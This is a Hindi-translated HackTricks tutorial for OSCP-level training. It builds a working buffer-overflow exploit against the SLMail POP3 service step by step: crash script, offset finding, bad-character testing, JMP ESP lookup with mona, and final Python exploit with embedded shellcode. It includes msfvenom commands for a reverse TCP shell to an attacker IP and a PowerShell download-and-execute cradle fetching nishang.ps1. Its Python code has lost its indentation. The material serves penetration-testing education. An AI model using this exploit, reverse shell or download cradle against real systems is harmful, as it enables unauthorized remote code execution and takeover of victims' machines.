Windows Exploiting (Basic Guide - OSCP lvl)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

SLMail सेवा स्थापित करना शुरू करें

SLMail सेवा पुनः आरंभ करें

हर बार जब भी आपको सेवा SLMail को पुनः आरंभ करने की आवश्यकता होती है, तो आप विंडोज कंसोल का उपयोग करके इसे कर सकते हैं:

net start slmail

बहुत ही मौलिक पायथन शोषण टेम्पलेट

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

इम्यूनिटी डीबगर फ़ॉन्ट बदलें

विकल्प >> दिखावट >> फ़ॉन्ट >> बदलें(कंसोलस, बोल्ड, 9) >> ठीक है

प्रक्रिया को इम्यूनिटी डीबगर से जोड़ें:

फ़ाइल --> जोड़ें

और स्टार्ट बटन दबाएं

एक्सप्लॉइट भेजें और देखें कि क्या ईआईपी प्रभावित है:

हर बार जब आप सेवा को तोड़ें, तो आपको इस पृष्ठ के शुरू में दिखाया गया है कि आपको इसे पुनः आरंभ करना चाहिए।

ईआईपी को संशोधित करने के लिए एक पैटर्न बनाएं

पैटर्न उसी बफर के बड़ा होना चाहिए जिसका आपने पहले सेवा को तोड़ने के लिए उपयोग किया था।

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

एक्सप्लॉइट का बफर बदलें और पैटर्न सेट करें और एक्सप्लॉइट चालू करें।

एक नया क्रैश होना चाहिए, लेकिन एक अलग EIP पता होना चाहिए:

जांचें कि पता आपके पैटर्न में था या नहीं:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Looks like हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं

Check it modifing the buffer of the exploit:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

इस बफर के साथ EIP क्रैश होना चाहिए जिसे 42424242 ("BBBB") पर प्वाइंट करना चाहिए।

लगता है काम कर रहा है।

स्टैक के अंदर शेलकोड स्पेस की जांच करें

600B किसी भी शक्तिशाली शेलकोड के लिए पर्याप्त होना चाहिए।

चलिए बफर बदलते हैं:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

लॉन्च नए एक्सप्लॉइट और EBP की जाँच करें और उपयोगी शेलकोड की लंबाई की जाँच करें

आप देख सकते हैं कि जब सुरक्षा दोष तक पहुँचा जाता है, EBP शेलकोड की ओर प्वाइंट कर रहा है और हमें यहाँ एक शेलकोड रखने के लिए बहुत जगह है।

इस मामले में हमारे पास 0x0209A128 से 0x0209A2D6 = 430B है। पर्याप्त।

बुरी चर के लिए जाँच करें

फिर से बफर बदलें:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

बैडचार्स 0x01 से शुरू होते हैं क्योंकि 0x00 लगभग हमेशा बुरा होता है।

इस नए बफर के साथ एक्सप्लॉइट को बार-बार निष्पादित करें जिसमें वे वर्ण हटाए जाते हैं जो अनुपयोगी पाए जाते हैं:।

उदाहरण के लिए:

इस मामले में आप देख सकते हैं कि आप चार 0x0A का उपयोग नहीं करना चाहिए (क्योंकि कोई भी चार 0x09 मेमोरी में सहेजा नहीं गया है)।

इस मामले में आप देख सकते हैं कि चार 0x0D को टाल दिया गया है:

एक JMP ESP को एक रिटर्न पता के रूप में खोजें

उपयोग करते हुए:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

आपको मेमोरी मैप्स की सूची बनानी है। कुछ DLL खोजें जिसमें:

  • Rebase: False

  • SafeSEH: False

  • ASLR: False

  • NXCompat: False

  • OS Dll: True

अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स ढूंढने होंगे, इसे करने के लिए:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

फिर, यदि कोई पता मिल जाता है, तो उसमें से एक चुनें जिसमें कोई भी बुरी वर्ण (badchar) न हो:

इस मामले में, उदाहरण के लिए: _0x5f4a358f_

शैलकोड बनाएं

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन यह काम करना चाहिए (आप देख सकते हैं कि ImDebg के साथ शेलकोड तक पहुंचा गया है), तो अन्य शेलकोड बनाने का प्रयास करें (msfvenom के साथ समान पैरामीटर्स के लिए विभिन्न शेलकोड बनाएं।)

शेलकोड की शुरुआत में कुछ NOPS जोड़ें और इसका उपयोग करें और वापसी पता JMP ESP के लिए, और एक्सप्लॉइट को पूरा करें:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

कुछ ऐसे शेलकोड हैं जो अपने आप को अधिलिखित कर देंगे, इसलिए हमेशा शेलकोड से पहले कुछ NOPs जोड़ना महत्वपूर्ण है

शेलकोड को बेहतर बनाना

इन पैरामीटर्स को जोड़ें:

EXITFUNC=thread -e x86/shikata_ga_nai
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated